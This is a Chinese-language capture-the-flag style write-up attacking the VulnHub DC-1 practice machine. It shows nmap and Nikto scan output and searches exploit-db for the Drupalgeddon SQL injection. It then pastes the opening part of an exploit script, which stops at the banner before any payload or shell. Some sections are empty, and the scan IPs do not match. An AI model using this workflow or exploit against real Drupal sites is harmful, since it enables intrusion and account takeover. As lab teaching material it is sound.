【渗透测试】DC-1靶机实战(上)漏洞扫描获取反弹shell

目录

一、范围界定

二、信息收集

三、目标识别

1)主机发现

2)端口扫描

四. 服务枚举

1)网站首页

2)Web指纹识别

3)nikto报告

4)robots.txt

5)UPGRADE.txt

五. 漏洞映射

1)OpenAVS扫描

2)AWVS扫描

六. 漏洞利用 

1)Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check

2)Drupal Core Critical Remote Code Execution Vulnerability(SA-CORE-2018-002) (Active Check)CVE-2018-7600


靶机下载地址Vulnerable By Design ~ VulnHub

靶机界面

渗透测试流程:

1.范围界定
2. 信息搜集
3. 目标识别
4. 服务枚举
5. 漏洞映射
6. 社会工程学
7. 漏洞利用
8. 权限提升
9. 访问维护
0. 文档报告

一、范围界定

这个范围实验

二、信息收集

三、目标识别

1)主机发现

这里因为DC-1并不知道密码且无法登录,所以无法设置并知道DC-1主机的ip地址

这里使用nmap对10.14.0.0网段进行扫描

也可以使用arp进行二层主机扫描(arp请求嗅探)

值得注意的是arp-scan与nmap发出的是arp请求嗅探

2)端口扫描

sudo nmap -Pn -A -p- -sS -sC -T4 172.20.10.4 -oN DC-1.nmap.A


Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-02 17:04 CST
Nmap scan report for 172.20.10.4
Host is up (0.0012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey: 
|   1024 c4d659e6774c227a961660678b42488f (DSA)
|   2048 1182fe534edc5b327f446482757dd0a0 (RSA)
|_  256 3daa985c87afea84b823688db9055fd8 (ECDSA)
80/tcp    open  http    Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt 
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-generator: Drupal 7 (http://drupal.org)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          38976/tcp   status
|   100024  1          46754/udp   status
|   100024  1          46862/udp6  status
|_  100024  1          48400/tcp6  status
38976/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:66:20:C9 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.22 ms 172.20.10.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.56 seconds

可以看到目标开放了

22/tcp    open  ssh     OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)

80/tcp    open  http    Apache httpd 2.2.22 ((Debian))

111/tcp   open  rpcbind 2-4 (RPC #100000)

38976/tcp open  status  1 (RPC #100024)

四. 服务枚举

1)网站首页

根据上面的端口扫描可以知道服务器系统

Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16

2)Web指纹识别

3)nikto报告

nikto -h http://10.10.10.31
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          172.20.10.4
+ Target Hostname:    172.20.10.4
+ Target Port:        80
+ Start Time:         2024-06-02 18:09:01 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Debian)
+ /: Retrieved x-powered-by header: PHP/5.4.45-0+deb7u14.
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: Drupal 7 was identified via the x-generator header. See: https://www.drupal.org/project/remove_http_headers
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 152289, size: 1561, mtime: Thu Nov 21 04:45:59 2013. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ /robots.txt: Entry '/LICENSE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/filter/tips/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/install.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.mysql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/UPGRADE.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.pgsql.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/xmlrpc.php' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/login/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/password/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/?q=user/register/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/INSTALL.sqlite.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: Entry '/MAINTAINERS.txt' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file
+ /robots.txt: contains 36 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /misc/favicon.ico: identifies this app/server as: Drupal 7.x. See: https://en.wikipedia.org/wiki/Favicon
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017
+ /web.config: ASP config file is accessible.
+ /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184
+ /user/: This might be interesting.
+ /README: Uncommon header 'tcn' found, with contents: choice.
+ /README: README file found.
+ /UPGRADE.txt: Default file found.
+ /install.php: Drupal install.php file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-filehttps://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /install.php: install.php file found.
+ /LICENSE.txt: License file found may identify site software.
+ /xmlrpc.php: xmlrpc.php was found.
+ /INSTALL.mysql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /INSTALL.pgsql.txt: Drupal installation file found. See: https://drupal.stackexchange.com/questions/269076/how-do-i-restrict-access-to-the-install-php-file
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/

+ 9753 requests: 0 error(s) and 42 item(s) reported on remote host
+ End Time:           2024-06-02 18:35:14 (GMT8) (1573 seconds)                                                     
---------------------------------------------------------------------------                                         
+ 1 host(s) tested     

4)robots.txt

robots.txt是网站的一种协议文件。它主要有以下作用:

  • 指引搜索引擎爬虫:告诉搜索引擎哪些页面可以抓取,哪些不可以抓取。例如,可以禁止搜索引擎访问网站后台管理页面等敏感区域。
  • 控制抓取频率:可以对搜索引擎抓取网站内容的频率进行一定程度的限制

 https://172.20.10.4/robots.txt


# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/wc/robots.html
#
# For syntax checking, see:
# http://www.sxw.org.uk/computing/robots/check.html

User-agent: *
Crawl-delay: 10
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

5)UPGRADE.txt

UPGRADE.txt 也可能用于记录软件或系统的升级说明、版本信息、更新内容等。具体用途取决于生成该文件的程序或系统的设计。 

INTRODUCTION
------------
This document describes how to:

  * Update your Drupal site from one minor 7.x version to another minor 7.x
    version; for example, from 7.8 to 7.9, or from 7.6 to 7.10.

  * Upgrade your Drupal site's major version from 6.x to 7.x.

First steps and definitions:

  * If you are upgrading to Drupal version x.y, then x is known as the major
    version number, and y is known as the minor version number. The download
    file will be named drupal-x.y.tar.gz (or drupal-x.y.zip).

  * All directories mentioned in this document are relative to the directory of
    your Drupal installation.

  * Make a full backup of all files, directories, and your database(s) before
    starting, and save it outside your Drupal installation directory.
    Instructions may be found at http://drupal.org/upgrade/backing-up-the-db

  * It is wise to try an update or upgrade on a test copy of your site before
    applying it to your live site. Even minor updates can cause your site's
    behavior to change.

  * Each new release of Drupal has release notes, which explain the changes made
    since the previous version and any special instructions needed to update or
    upgrade to the new version. You can find a link to the release notes for the
    version you are upgrading or updating to on the Drupal project page
    (http://drupal.org/project/drupal).

UPGRADE PROBLEMS
----------------
If you encounter errors during this process,

  * Note any error messages you see.

  * Restore your site to its previous state, using the file and database backups
    you created before you started the upgrade process. Do not attempt to do
    further upgrades on a site that had update problems.

  * Consult one of the support options listed on http://drupal.org/support

More in-depth information on upgrading can be found at http://drupal.org/upgrade

MINOR VERSION UPDATES
---------------------
To update from one minor 7.x version of Drupal to any later 7.x version, after
following the instructions in the INTRODUCTION section at the top of this file:

1. Log in as a user with the permission "Administer software updates".

2. Go to Administration > Configuration > Development > Maintenance mode.
   Enable the "Put site into maintenance mode" checkbox and save the
   configuration.

3. Remove all old core files and directories, except for the 'sites' directory
   and any custom files you added elsewhere.

   If you made modifications to files like .htaccess or robots.txt, you will
   need to re-apply them from your backup, after the new files are in place.

   Sometimes an update includes changes to default.settings.php (this will be
   noted in the release notes). If that's the case, follow these steps:

   - Make a backup copy of your settings.php file, with a different file name.

   - Make a copy of the new default.settings.php file, and name the copy
     settings.php (overwriting your previous settings.php file).

   - Copy the custom and site-specific entries from the backup you made into the
     new settings.php file. You will definitely need the lines giving the
     database information, and you will also want to copy in any other
     customizations you have added.

4. Download the latest Drupal 7.x release from http://drupal.org to a
   directory outside of your web root. Extract the archive and copy the files
   into your Drupal directory.

   On a typical Unix/Linux command line, use the following commands to download
   and extract:

     wget http://drupal.org/files/projects/drupal-x.y.tar.gz
     tar -zxvf drupal-x.y.tar.gz

   This creates a new directory drupal-x.y/ containing all Drupal files and
   directories. Copy the files into your Drupal installation directory:

     cp -R drupal-x.y/* drupal-x.y/.htaccess /path/to/your/installation

   If you do not have command line access to your server, download the archive
   from http://drupal.org using your web browser, extract it, and then use an
   FTP client to upload the files to your web root.

5. Re-apply any modifications to files such as .htaccess or robots.txt.

6. Run update.php by visiting http://www.example.com/update.php (replace
   www.example.com with your domain name). This will update the core database
   tables.

   If you are unable to access update.php do the following:

   - Open settings.php with a text editor.

   - Find the line that says:
     $update_free_access = FALSE;

   - Change it into:
     $update_free_access = TRUE;

   - Once the upgrade is done, $update_free_access must be reverted to FALSE.

7. Go to Administration > Reports > Status report. Verify that everything is
   working as expected.

8. Ensure that $update_free_access is FALSE in settings.php.

9. Go to Administration > Configuration > Development > Maintenance mode.
   Disable the "Put site into maintenance mode" checkbox and save the
   configuration.

MAJOR VERSION UPGRADE
---------------------
To upgrade from a previous major version of Drupal to Drupal 7.x, after
following the instructions in the INTRODUCTION section at the top of this file:

1. Check on the Drupal 7 status of your contributed and custom modules and
   themes. See http://drupal.org/node/948216 for information on upgrading
   contributed modules and themes. See http://drupal.org/node/895314 for a list
   of modules that have been moved into core for Drupal 7, and instructions on
   how to update them. See http://drupal.org/update/modules for information on
   how to update your custom modules, and http://drupal.org/update/theme for
   custom themes.

   You may decide at this point that you cannot upgrade your site, because
   needed modules or themes are not ready for Drupal 7.

2. Update to the latest available version of Drupal 6.x (if your current version
   is Drupal 5.x, you have to upgrade to 6.x first). If you need to update,
   download Drupal 6.x and follow the instructions in its UPGRADE.txt. This
   document only applies for upgrades from 6.x to 7.x.

3. In addition to updating to the latest available version of Drupal 6.x core,
   you must also upgrade all of your contributed modules for Drupal to their
   latest Drupal 6.x versions.

4. Log in as user ID 1 (the site maintenance user).

5. Go to Administer > Site configuration > Site maintenance. Select
   "Off-line" and save the configuration.

6. Go to Administer > Site building > Themes. Enable "Garland" and select it as
   the default theme.

7. Go to Administer > Site building > Modules. Disable all modules that are not
   listed under "Core - required" or "Core - optional". It is possible that some
   modules cannot be disabled, because others depend on them. Repeat this step
   until all non-core modules are disabled.

   If you know that you will not re-enable some modules for Drupal 7.x and you
   no longer need their data, then you can uninstall them under the Uninstall
   tab after disabling them.

8. On the command line or in your FTP client, remove the file

     sites/default/default.settings.php

9. Remove all old core files and directories, except for the 'sites' directory
   and any custom files you added elsewhere.

   If you made modifications to files like .htaccess or robots.txt, you will
   need to re-apply them from your backup, after the new files are in place.

10. If you uninstalled any modules, remove them from the sites/all/modules and
   other sites/*/modules directories. Leave other modules in place, even though
   they are incompatible with Drupal 7.x.

11. Download the latest Drupal 7.x release from http://drupal.org to a
   directory outside of your web root. Extract the archive and copy the files
   into your Drupal directory.

   On a typical Unix/Linux command line, use the following commands to download
   and extract:

     wget http://drupal.org/files/projects/drupal-x.y.tar.gz
     tar -zxvf drupal-x.y.tar.gz

   This creates a new directory drupal-x.y/ containing all Drupal files and
   directories. Copy the files into your Drupal installation directory:

     cp -R drupal-x.y/* drupal-x.y/.htaccess /path/to/your/installation

   If you do not have command line access to your server, download the archive
   from http://drupal.org using your web browser, extract it, and then use an
   FTP client to upload the files to your web root.

12. Re-apply any modifications to files such as .htaccess or robots.txt.

13. Make your settings.php file writeable, so that the update process can
   convert it to the format of Drupal 7.x. settings.php is usually located in

     sites/default/settings.php

14. Run update.php by visiting http://www.example.com/update.php (replace
   www.example.com with your domain name). This will update the core database
   tables.

   If you are unable to access update.php do the following:

   - Open settings.php with a text editor.

   - Find the line that says:
     $update_free_access = FALSE;

   - Change it into:
     $update_free_access = TRUE;

   - Once the upgrade is done, $update_free_access must be reverted to FALSE.

15. Backup your database after the core upgrade has run.

16. Replace and update your non-core modules and themes, following the
   procedures at http://drupal.org/node/948216

17. Go to Administration > Reports > Status report. Verify that everything is
   working as expected.

18. Ensure that $update_free_access is FALSE in settings.php.

19. Go to Administration > Configuration > Development > Maintenance mode.
   Disable the "Put site into maintenance mode" checkbox and save the
   configuration.

To get started with Drupal 7 administration, visit
http://drupal.org/getting-started/7/admin

五. 漏洞映射

1)OpenAVS扫描

2)AWVS扫描

六. 漏洞利用 

可以使用扫描器看到

Drupal Core Critical Remote Code Execution Vulnerability(SA-CORE-2018-002) (Active Check)CVE-2018-7600

Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check

两个可以利用的高危漏洞

1)Drupal Core SQLi Vulnerability (SA-CORE-2014-005) - Active Check

查找漏洞信息

grep -rwn /usr/share/exploitdb/ -e "CVE-2014-3704"
/usr/share/exploitdb/exploits/php/webapps/34992.py:175:                         (CVE-2014-3704)
/usr/share/exploitdb/exploits/php/webapps/34993.php:8:# CVE: CVE-2014-3704                                                          #
/usr/share/exploitdb/files_exploits.csv:17127:34992,exploits/php/webapps/34992.py,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)",2014-10-17,"Claudio Viviani",webapps,php,,2014-10-17,2018-03-29,1,CVE-2014-3704;OSVDB-113371;SA-CORE-2014-005,,,,,
/usr/share/exploitdb/files_exploits.csv:17128:44355,exploits/php/webapps/44355.php,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Admin Session)",2014-11-03,"Stefan Horst",webapps,php,443,2018-03-29,2018-03-29,0,CVE-2014-3704;OSVDB-113371,,,,,https://www.sektioaneins.de/en/blog/14-11-03-drupal-sql-injection-vulnerability-PoC.html
/usr/share/exploitdb/files_exploits.csv:17129:34984,exploits/php/webapps/34984.py,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (1)",2014-10-16,stopstene,webapps,php,,2014-10-17,2018-03-29,1,CVE-2014-3704;SA-CORE-2014-005,,,http://www.exploit-db.com/screenshots/idlt35000/drupal.png,,https://pastebin.com/nDwLFV3v
/usr/share/exploitdb/files_exploits.csv:17130:34993,exploits/php/webapps/34993.php,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (PoC) (Reset Password) (2)",2014-10-17,"Dustin Dörr",webapps,php,,2014-10-17,2018-03-29,1,CVE-2014-3704;OSVDB-113371,,,,,
/usr/share/exploitdb/files_exploits.csv:17131:35150,exploits/php/webapps/35150.php,"Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Remote Code Execution)",2014-11-03,"Stefan Horst",webapps,php,443,2014-11-03,2018-03-29,1,CVE-2014-3704;OSVDB-113371,,,,,https://www.sektioneins.de/en/blog/14-11-03-drupal-sql-injection-vulnerability-PoC.html

查找漏洞详细信息

searchsploit -m 34992
xploit: Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)
      URL: https://www.exploit-db.com/exploits/34992
     Path: /usr/share/exploitdb/exploits/php/webapps/34992.py
    Codes: CVE-2014-3704, OSVDB-113371, SA-CORE-2014-005
 Verified: True
File Type: Python script, ASCII text executable, with very long lines (340)
cp: cannot create regular file '/usr/share/exploitdb/shellcodes/34992.py': Permission denied
Copied to: /usr/share/exploitdb/shellcodes/34992.py

可以看到脚本路径:

Path: /usr/share/exploitdb/exploits/php/webapps/34992.py

对应POC代码:

#!/usr/bin/python
#
#
# Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
# Inspired by yukyuk's P.o.C (https://www.reddit.com/user/fyukyuk)
#
# Tested on Drupal 7.31 with BackBox 3.x
#
# This material is intended for educational
# purposes only and the author can not be held liable for
# any kind of damages done whatsoever to your machine,
# or damages caused by some other,creative application of this material.
# In any case you disagree with the above statement,stop here.

import hashlib, urllib2, optparse, random, sys

# START - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.

class DrupalHash:

  def __init__(self, stored_hash, password):
    self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    self.last_hash = self.rehash(stored_hash, password)

  def get_hash(self):
    return self.last_hash

  def password_get_count_log2(self, setting):
    return self.itoa64.index(setting[3])

  def password_crypt(self, algo, password, setting):
    setting = setting[0:12]
    if setting[0] != '$' or setting[2] != '$':
      return False

    count_log2 = self.password_get_count_log2(setting)
    salt = setting[4:12]
    if len(salt) < 8:
      return False
    count = 1 << count_log2

    if algo == 'md5':
      hash_func = hashlib.md5
    elif algo == 'sha512':
      hash_func = hashlib.sha512
    else:
      return False
    hash_str = hash_func(salt + password).digest()
    for c in range(count):
      hash_str = hash_func(hash_str + password).digest()
    output = setting + self.custom64(hash_str)
    return output

  def custom64(self, string, count = 0):
    if count == 0:
      count = len(string)
    output = ''
    i = 0
    itoa64 = self.itoa64
    while 1:
      value = ord(string[i])
      i += 1
      output += itoa64[value & 0x3f]
      if i < count:
        value |= ord(string[i]) << 8
      output += itoa64[(value >> 6) & 0x3f]
      if i >= count:
        break
      i += 1
      if i < count:
        value |= ord(string[i]) << 16
      output += itoa64[(value >> 12) & 0x3f]
      if i >= count:
        break
      i += 1
      output += itoa64[(value >> 18) & 0x3f]
      if i >= count:
        break
    return output

  def rehash(self, stored_hash, password):
    # Drupal 6 compatibility
    if len(stored_hash) == 32 and stored_hash.find('$') == -1:
      return hashlib.md5(password).hexdigest()
      # Drupal 7
    if stored_hash[0:2] == 'U$':
      stored_hash = stored_hash[1:]
      password = hashlib.md5(password).hexdigest()
    hash_type = stored_hash[0:3]
    if hash_type == '$S$':
      hash_str = self.password_crypt('sha512', password, stored_hash)
    elif hash_type == '$H$' or hash_type == '$P$':
      hash_str = self.password_crypt('md5', password, stored_hash)
    else:
      hash_str = False
    return hash_str
# END - from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py

def randomAgentGen():

 userAgent =    ['Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.77.4 (KHTML, like Gecko) Version/7.0.5 Safari/537.77.4',
                'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
                'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) Gecko/20100101 Firefox/31.0',
                'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
                'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
                'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0',
                'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
                'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10',
                'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D167 Safari/9537.53',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9',
                'Mozilla/5.0 (X11; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11B554a Safari/9537.53',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/537.75.14',
                'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
                'Mozilla/5.0 (Windows NT 5.1; rv:30.0) Gecko/20100101 Firefox/30.0',
                'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36',
                'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
                'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0',
                'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) GSA/4.1.0.31802 Mobile/11D257 Safari/9537.53',
                'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0',
                'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
                'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/36.0.1985.125 Chrome/36.0.1985.125 Safari/537.36',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:30.0) Gecko/20100101 Firefox/30.0',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Safari/600.1.3',
                'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36']

 UA = random.choice(userAgent)
 return UA


def urldrupal(url):
    if url[:8] != "https://" and url[:7] != "http://":
        print('[X] You must insert http:// or https:// procotol')
        sys.exit(1)
    # Page login
    url = url+'/?q=node&destination=node'
    return url


banner = """
  ______                          __     _______  _______ _____
 |   _  \ .----.--.--.-----.---.-|  |   |   _   ||   _   | _   |
 |.  |   \|   _|  |  |  _  |  _  |  |   |___|   _|___|   |.|   |
 |.  |    |__| |_____|   __|___._|__|      /   |___(__   `-|.  |
 |:  1    /          |__|                 |   |  |:  1   | |:  |
 |::.. . /                                |   |  |::.. . | |::.|
 `------'                                 `---'  `-------' `---'
  _______       __     ___       __            __   __
 |   _   .-----|  |   |   .-----|__.-----.----|  |_|__.-----.-----.
 |   1___|  _  |  |   |.  |     |  |  -__|  __|   _|  |  _  |     |
 |____   |__   |__|   |.  |__|__|  |_____|____|____|__|_____|__|__|
 |:  1   |  |__|      |:  |    |___|
 |::.. . |            |::.|
 `-------'            `---'

                                 Drup4l => 7.0 <= 7.31 Sql-1nj3ct10n
                                              Admin 4cc0unt cr3at0r

                          Discovered by:

                          Stefan  Horst
                         (CVE-2014-3704)

                           Written by:

                         Claudio Viviani

                      http://www.homelab.it

                         info@homelab.it
                     homelabit@protonmail.ch

                 https://www.facebook.com/homelabit
